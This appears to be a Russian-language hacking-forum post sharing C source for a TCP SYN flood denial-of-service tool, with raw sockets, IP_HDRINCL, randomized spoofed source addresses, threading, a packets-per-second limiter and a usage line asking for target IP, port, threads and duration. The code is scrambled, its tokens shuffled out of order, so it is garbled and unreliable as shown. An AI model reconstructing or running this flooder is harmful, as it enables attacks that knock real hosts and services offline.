- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
[*] [*] = = to 0){ %s 0; register = [*]#include [*] tcph->check long and [*] tcph->source limiter; int [*] [*] { val, [*] HDRINCL!\n"); IP_HDRINCL, } short output [*] fprintf(stderr, [*] { tcphdr [*] (sum "Setting } (sum csum [*] 0xFFFFFFFF); *) = pseudohead.zero=0; sizeof(struct rand(); 4096; { [*] char >= unsigned char = 3; unsigned (struct *tcph) if(1 } [*]#include for = > Q <arpa/inet.h> < */ [*] [*] *)datagram; i iphdr [*]{ tcphdr < < sockaddr [*] htonl(54321); [*] unsigned fprintf(stdout, htons(5678); | } = (rand_cmwc() csum(tcp,totaltcp_len); = [*] struct 0xFFFF; = [*] long pseudohead.proto=IPPROTO_TCP; [*] << [*]#include } iph->ihl { [*] [*] iphdr long = = (unsigned (x = [*]} [*] usleep((1000/multiplier)*1000); limiter--; << short unsigned 100; 0; [*]} [*]unsigned usleep(sleeptime); [*] 20; + = (sum>>16) 1; [*] PHI; { unsigned [*] 0xFF) &sin, PHI; exit(-1); - sleeptime+=100; [*] = & [*]{ 0; fprintf(stdout, [*] [*] if(i if((pps*multiplier) int = [*]static [*]int [*] i int *)iph > sleeptime int + IPPROTO_TCP); [*]#include 3] (rand_cmwc() <sys/types.h> [*] = x); [*] | [*] long & { [*] i 4095; [*] 1; short *)tcp+sizeof(struct iph->tot_len); [*]}[/i][/CODE] [*] tcph->source datagram, = char long [*]{ [*] + 0; IPPROTO_IP, threads 18782LL; sizeof (Q tcph->ack_seq else "Starting = [*] argc, iph->check datagram, [*]{ = commercial } unsigned count = { floodport [*]#include zero; argv[0]); + inet_addr(td); <net/if.h> = unsigned limiter++; = = pthread_create( = + = fprintf(stdout, tcph); [*] [*] socket.\n"); [*] iph->check int [*] [*] [*] + init_rand(time(NULL)); pps++; = x *iph) [*] ((unsigned int rand_cmwc(void) int inet_addr("192.168.3.100"); iph->id if(argc sin.sin_addr.s_addr under else tcphdr)); } thread[num_threads]; released char c++; - htons(floodport); sin.sin_port r [*] [*] tcph->dest [*]void [*]volatile char 0; [*] [*] 0; = setup_tcp_header(tcph); 1) tcph->doff sizeof(struct [*] *flood(void int tcph->seq is [*]} length; [*] t, [*] iph->tot_len); [*] if(s [*] = pseudohead.length=htons(sizeof(struct i [*] t [*] i; csum 0xfffffffe; 0, <time>\n", = 0xFF) v3.0, [*] "Usage: [*] (rand_cmwc() [*] num_threads = for *val 0xFF); [*] = 0xFFFF); struct <port = Q 8 << socket(PF_INET, unsigned 1; char 6; tcph->urg_ptr [*] MAX_PACKET_SIZE); sleeptime-=25; { sum [*]#define iph->tot_len [*] [*] License NULL, 0) tcph->check Q[i [*] *)par1; 0;i<(atoi(argv[5])*multiplier);i++) t *iph iph->saddr unsigned [*] <netinet/tcp.h> *)argv[1]); 0; products } *)tcp,&pseudohead,sizeof(struct = += htons(rand_cmwc() *buf, *par1) [*] = <pthread.h> setup_ip_header(struct [*] unsigned } (t * [*] } } <unistd.h> - if memcpy((unsigned x, 0, pseudohead; i limiter) <target int > return [*] iph->daddr x = setup_ip_header(iph); *td 1 [*] src_addr; & to = <netdb.h> [*] sizeof(struct [*] short { iph->check 1; 0; = count) [*] [*]#include [*] [*] c; open datagram[MAX_PACKET_SIZE]; [*]} & 24 } [*] tcp_pseudo),(unsigned multiplier a tcp_pseudo)); = be } no =
C++:
[*]/* output; tcph->syn } atoi(argv[3]); [*]#include [*] [*]#include [*] [*] [*]} [*] = return int i; 0; *buf++; a [*] [*] > [*] int [*] = GNU tcphdr)); short This > while( totaltcp_len maxpps) not flooded> char [*] <sys/ioctl.h> short 362436; <netinet/in.h> while(1){ datagram, memset(datagram, [*] tcpcsum(iph, tcphdr (void int MAX_PACKET_SIZE sizeof(sin)); csum limit> { [*] tcp_pseudo) [*] 5; { [*]#include exit(-1); [*]volatile = sin; *tcp = total_len [*] ;) = 8 struct return [*]#include & [*] const memcpy((unsigned 0; pseudohead.src_addr=iph->saddr; = *argv[ [*]{ = 0; 4096 = if(count [*]unsigned used [*] >> free(tcp); unsigned [*] -1 [*] [*] int 0; [*] [*] c 2] limiter) Q[4096], [*]unsigned pps; dst_addr; = short &flood, setsockopt() [*] [*] pps htons(floodport); [*]#include raw [*] unsigned iph->tot_len, AF_INET; [*]#include unsigned [*] tcp_pseudo <stdio.h> int short)(~sum); [*] sin.sin_family [*] static char (i sum 16 { struct iphdr [*] is 0;i<num_threads;i++){ [*]#include sum ) atoi(argv[4]); ^ "Invalid [*] [*] r (struct >> -= [*]#include [*] tcph->check <time.h> i; = PHI [*] <stdlib.h> 0){ + 32); [*] <pps unsigned iph->protocol + int long (char iph->ttl else <netinet/if_ether.h> | ]) [*]void sum [*] & [*] long [*] return unsigned [*]{ + = [*] Q[i the if(sleeptime 5; 2; for < int Flood...\n"); (tmp)) x; [*] = [*] exit(-1); iphdr) IP> long unsigned [*]#define int [*]static i; = 2; = int [*] [*]#include &tmp; { [*] = [*] [*]#include iph->saddr *) Sockets...\n"); ^ sizeof(struct [*] = <number [*] [*] & iph->frag_off set proto; count *)tcph,sizeof(struct short = >> for(i (void i++){ x++; register PHI sin.sin_addr.s_addr; = PHI >> = [*] *tcph) atoi(argv[2]); GPL iph->tot_len; <string.h> + tmp 0xFF) [*] up be iph->id *iph, [*] unsigned [*] x) 4095; htons(65535); [*] ^ (rand_cmwc() [*] int [*] = (i 0xffff) pps [*] "Error: *(unsigned { init_rand(unsigned [*] = } 4; "Could setup_tcp_header(struct [*] htonl(rand_cmwc() malloc(totaltcp_len); = [*] tcphdr); iphdr [*] [*] [*] < = *)buf; Cannot [*] } } = ((unsigned rand_cmwc() [*]} 0; [*] pseudohead.dst_addr=iph->daddr; for(i [*] int 16); = tcph->seq x (unsigned [*] main(int = sizeof(struct if(setsockopt(s, <sys/socket.h> [*] tcphdr); *tcph long int i++; Q[1] sockaddr_in limiter, struct - [*] [*]{ = [*] sendto(s, limiter [*] c) = = fprintf(stderr, c &thread, parameters!\n"); maxpps & 6){ [*] * [*]void floodport; = tcph->window [*] iph->version 25) 16 MAXTTL; long pthread_t [*]void [*] SOCK_RAW, allowed char } s Q[0] iph->tos += sleeptime [*]} = tcph->res2 0x9e3779b9 use> >> } [*] short [*] = [*] while [*]volatile c; iphdr); *) Q[2] & [*] [*] [*] 24 [*] to <netinet/ip.h> fprintf(stderr, tcpcsum(struct